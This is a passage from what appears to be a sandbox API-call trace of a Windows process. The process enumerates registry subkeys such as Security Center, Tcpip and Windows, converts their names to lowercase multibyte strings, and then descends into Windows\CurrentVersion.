lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0033.800] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5c, lpName=0xf7b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0033.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0xf7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0033.801] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5d, lpName=0xf7b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0033.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0033.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0xf7c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0033.801] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5e, lpName=0xf7b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0033.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0033.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0xf7c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0033.801] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5f, lpName=0xf7b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0033.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0033.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0xf7c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0033.801] RegEnumKeyW (in: hKey=0x38, dwIndex=0x60, lpName=0xf7b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0033.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0xf7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0033.801] RegEnumKeyW (in: hKey=0x38, dwIndex=0x61, lpName=0xf7b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0033.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0033.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0xf7c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0033.801] RegEnumKeyW (in: hKey=0x38, dwIndex=0x62, lpName=0xf7b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0033.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0xf7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0033.801] RegEnumKeyW (in: hKey=0x38, dwIndex=0x63, lpName=0xf7b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0033.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0033.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0xf7c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0033.801] RegEnumKeyW (in: hKey=0x38, dwIndex=0x64, lpName=0xf7b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0033.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0xf7c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0033.802] RegEnumKeyW (in: hKey=0x38, dwIndex=0x65, lpName=0xf7b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0033.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0xf7c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0033.802] RegEnumKeyW (in: hKey=0x38, dwIndex=0x66, lpName=0xf7b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0033.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0xf7c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0033.802] RegEnumKeyW (in: hKey=0x38, dwIndex=0x67, lpName=0xf7b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0033.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0033.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0xf7c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0033.802] RegEnumKeyW (in: hKey=0x38, dwIndex=0x68, lpName=0xf7b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0033.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0xf7c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0033.802] RegEnumKeyW (in: hKey=0x38, dwIndex=0x69, lpName=0xf7b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0033.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0033.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0xf7c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0033.802] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6a, lpName=0xf7b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0033.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0xf7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0033.802] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6b, lpName=0xf7b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0033.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0033.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0xf7c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0033.803] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6c, lpName=0xf7b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0033.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0033.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0xf7c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0033.803] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6d, lpName=0xf7b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0033.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0xf7c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0033.803] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6e, lpName=0xf7b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0033.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0033.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0xf7c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0033.803] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6f, lpName=0xf7b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0033.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0033.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0xf7c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0033.803] RegEnumKeyW (in: hKey=0x38, dwIndex=0x70, lpName=0xf7b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0033.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0033.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0xf7c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0033.803] RegEnumKeyW (in: hKey=0x38, dwIndex=0x71, lpName=0xf7b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0033.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0033.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0xf7c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0033.803] RegEnumKeyW (in: hKey=0x38, dwIndex=0x72, lpName=0xf7b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0033.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0xf7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0033.803] RegEnumKeyW (in: hKey=0x38, dwIndex=0x73, lpName=0xf7b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0033.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0xf7c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0033.804] RegEnumKeyW (in: hKey=0x38, dwIndex=0x74, lpName=0xf7b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0033.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0xf7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0033.804] RegEnumKeyW (in: hKey=0x38, dwIndex=0x75, lpName=0xf7b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0033.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0033.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0xf7c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0033.804] RegEnumKeyW (in: hKey=0x38, dwIndex=0x76, lpName=0xf7b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0033.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0033.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0xf7c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0033.804] RegEnumKeyW (in: hKey=0x38, dwIndex=0x77, lpName=0xf7b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0033.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0033.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0xf7c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0033.804] RegEnumKeyW (in: hKey=0x38, dwIndex=0x78, lpName=0xf7b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0033.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0xf7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0033.804] RegEnumKeyW (in: hKey=0x38, dwIndex=0x79, lpName=0xf7b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0033.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0033.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0xf7c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0033.804] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7a, lpName=0xf7b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0033.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0xf7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0033.805] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7b, lpName=0xf7b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0033.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0033.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0xf7c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0033.805] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7c, lpName=0xf7b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0033.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0xf7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0033.805] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7d, lpName=0xf7b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0033.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0xf7c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0033.805] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7e, lpName=0xf7b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0033.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0033.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0xf7c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0033.805] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7f, lpName=0xf7b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0033.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0xf7c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0033.805] RegEnumKeyW (in: hKey=0x38, dwIndex=0x80, lpName=0xf7b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0033.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0xf7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0033.805] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0033.805] RegCloseKey (hKey=0x38) returned 0x0 [0033.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0xf7b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0033.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0033.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0xf7c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0033.806] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0033.806] RegCloseKey (hKey=0xc4) returned 0x0 [0033.806] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0xf7b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0033.806] WideCharToMultiByte (in: CodePage=0x0, 